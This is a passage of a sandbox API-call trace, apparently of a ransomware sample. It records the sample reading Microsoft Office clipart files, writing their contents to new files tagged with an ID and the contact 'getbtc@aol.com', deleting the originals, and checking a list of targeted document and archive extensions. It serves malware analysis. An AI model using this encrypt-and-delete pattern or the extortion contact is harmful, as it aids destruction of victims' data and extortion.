lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.033] lstrlenW (lpString="BD05119_.WMF") returned 12 [0242.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0242.033] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=17236) returned 1 [0242.033] CloseHandle (hObject=0x39c) returned 1 [0242.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0242.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0242.034] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.034] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.035] GetLastError () returned 0x0 [0242.035] ReadFile (in: hFile=0x39c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x4354, lpOverlapped=0x0) returned 1 [0242.037] WriteFile (in: hFile=0x388, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x4360, lpOverlapped=0x0) returned 1 [0242.038] ReadFile (in: hFile=0x39c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.038] WriteFile (in: hFile=0x388, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.038] SetEndOfFile (hFile=0x388) returned 1 [0242.038] CloseHandle (hObject=0x388) returned 1 [0242.038] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.038] SetEndOfFile (hFile=0x39c) returned 1 [0242.041] CloseHandle (hObject=0x39c) returned 1 [0242.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0242.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0242.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0242.042] lstrlenW (lpString=".doc") returned 4 [0242.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.042] lstrlenW (lpString=".docx") returned 5 [0242.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.042] lstrlenW (lpString=".pdf") returned 4 [0242.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.042] lstrlenW (lpString=".xls") returned 4 [0242.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.042] lstrlenW (lpString=".xlsx") returned 5 [0242.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.042] lstrlenW (lpString=".ppt") returned 4 [0242.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0242.042] lstrlenW (lpString=".zip") returned 4 [0242.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.042] lstrlenW (lpString=".rar") returned 4 [0242.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.042] lstrlenW (lpString=".bz2") returned 4 [0242.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.042] lstrlenW (lpString=".7z") returned 3 [0242.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0242.042] lstrlenW (lpString=".dbf") returned 4 [0242.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0242.042] lstrlenW (lpString=".1cd") returned 4 [0242.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0242.042] lstrlenW (lpString=".jpg") returned 4 [0242.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0242.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0242.042] lstrlenW (lpString=".doc") returned 4 [0242.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.043] lstrlenW (lpString=".docx") returned 5 [0242.043] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.043] lstrlenW (lpString=".pdf") returned 4 [0242.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.043] lstrlenW (lpString=".xls") returned 4 [0242.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.043] lstrlenW (lpString=".xlsx") returned 5 [0242.043] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.043] lstrlenW (lpString=".ppt") returned 4 [0242.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0242.043] lstrlenW (lpString=".zip") returned 4 [0242.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.043] lstrlenW (lpString=".rar") returned 4 [0242.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.043] lstrlenW (lpString=".bz2") returned 4 [0242.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.043] lstrlenW (lpString=".7z") returned 3 [0242.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0242.043] lstrlenW (lpString=".dbf") returned 4 [0242.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0242.043] lstrlenW (lpString=".1cd") returned 4 [0242.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0242.043] lstrlenW (lpString=".jpg") returned 4 [0242.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.044] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.044] lstrlenW (lpString="BD06102_.WMF") returned 12 [0242.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0242.044] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=16112) returned 1 [0242.044] CloseHandle (hObject=0x39c) returned 1 [0242.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0242.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0242.045] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.045] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.045] GetLastError () returned 0x0 [0242.045] ReadFile (in: hFile=0x39c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x3ef0, lpOverlapped=0x0) returned 1 [0242.202] WriteFile (in: hFile=0x388, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x3f00, lpOverlapped=0x0) returned 1 [0242.203] ReadFile (in: hFile=0x39c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.203] WriteFile (in: hFile=0x388, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.203] SetEndOfFile (hFile=0x388) returned 1 [0242.208] CloseHandle (hObject=0x388) returned 1 [0242.208] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.209] SetEndOfFile (hFile=0x39c) returned 1 [0242.211] CloseHandle (hObject=0x39c) returned 1 [0242.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0242.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0242.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0242.413] lstrlenW (lpString=".doc") returned 4 [0242.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.413] lstrlenW (lpString=".docx") returned 5 [0242.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.413] lstrlenW (lpString=".pdf") returned 4 [0242.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.413] lstrlenW (lpString=".xls") returned 4 [0242.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.413] lstrlenW (lpString=".xlsx") returned 5 [0242.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.413] lstrlenW (lpString=".ppt") returned 4 [0242.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0242.414] lstrlenW (lpString=".zip") returned 4 [0242.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.414] lstrlenW (lpString=".rar") returned 4 [0242.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.414] lstrlenW (lpString=".bz2") returned 4 [0242.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.414] lstrlenW (lpString=".7z") returned 3 [0242.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0242.414] lstrlenW (lpString=".dbf") returned 4 [0242.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0242.414] lstrlenW (lpString=".1cd") returned 4 [0242.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0242.414] lstrlenW (lpString=".jpg") returned 4 [0242.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0242.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0242.414] lstrlenW (lpString=".doc") returned 4 [0242.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.414] lstrlenW (lpString=".docx") returned 5 [0242.414] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.414] lstrlenW (lpString=".pdf") returned 4 [0242.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.414] lstrlenW (lpString=".xls") returned 4 [0242.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.414] lstrlenW (lpString=".xlsx") returned 5 [0242.414] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.415] lstrlenW (lpString=".ppt") returned 4 [0242.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0242.415] lstrlenW (lpString=".zip") returned 4 [0242.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.415] lstrlenW (lpString=".rar") returned 4 [0242.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.415] lstrlenW (lpString=".bz2") returned 4 [0242.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.415] lstrlenW (lpString=".7z") returned 3 [0242.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0242.415] lstrlenW (lpString=".dbf") returned 4 [0242.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0242.415] lstrlenW (lpString=".1cd") returned 4 [0242.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0242.415] lstrlenW (lpString=".jpg") returned 4 [0242.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.415] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.415] lstrlenW (lpString="BD08808_.WMF") returned 12 [0242.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.708] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=47996) returned 1 [0242.708] CloseHandle (hObject=0x204) returned 1 [0242.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0242.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.740] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.740] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.777] GetLastError () returned 0x0 [0242.777] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xbb7c, lpOverlapped=0x0) returned 1 [0242.818] WriteFile (in: hFile=0x398, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xbb80, lpOverlapped=0x0) returned 1 [0242.819] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.819] WriteFile (in: hFile=0x398, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.819] SetEndOfFile (hFile=0x398) returned 1 [0242.833] CloseHandle (hObject=0x398) returned 1 [0242.843] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.855] SetEndOfFile (hFile=0x200) returned 1 [0242.962] CloseHandle (hObject=0x200) returned 1 [0242.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0243.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0243.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0243.023] lstrlenW (lpString=".doc") returned 4 [0243.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.024] lstrlenW (lpString=".docx") returned 5 [0243.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.024] lstrlenW (lpString=".pdf") returned 4 [0243.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.024] lstrlenW (lpString=".xls") returned 4 [0243.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.024] lstrlenW (lpString=".xlsx") returned 5 [0243.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.024] lstrlenW (lpString=".ppt") returned 4 [0243.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0243.024] lstrlenW (lpString=".zip") returned 4 [0243.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.024] lstrlenW (lpString=".rar") returned 4 [0243.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.024] lstrlenW (lpString=".bz2") returned 4 [0243.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.024] lstrlenW (lpString=".7z") returned 3 [0243.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0243.024] lstrlenW (lpString=".dbf") returned 4 [0243.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0243.024] lstrlenW (lpString=".1cd") returned 4 [0243.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0243.024] lstrlenW (lpString=".jpg") returned 4 [0243.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0243.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0243.024] lstrlenW (lpString=".doc") returned 4 [0243.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.024] lstrlenW (lpString=".docx") returned 5 [0243.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.025] lstrlenW (lpString=".pdf") returned 4 [0243.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.025] lstrlenW (lpString=".xls") returned 4 [0243.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.025] lstrlenW (lpString=".xlsx") returned 5 [0243.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.025] lstrlenW (lpString=".ppt") returned 4 [0243.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0243.025] lstrlenW (lpString=".zip") returned 4 [0243.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.025] lstrlenW (lpString=".rar") returned 4 [0243.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.025] lstrlenW (lpString=".bz2") returned 4 [0243.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.025] lstrlenW (lpString=".7z") returned 3 [0243.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0243.025] lstrlenW (lpString=".dbf") returned 4 [0243.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0243.025] lstrlenW (lpString=".1cd") returned 4 [0243.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0243.025] lstrlenW (lpString=".jpg") returned 4 [0243.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.025] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.025] lstrlenW (lpString="BD09664_.WMF") returned 12 [0243.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.026] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=7966) returned 1 [0243.027] CloseHandle (hObject=0x3a0) returned 1 [0243.027] GetFileAttributesW (lpFileName="C:\\Program 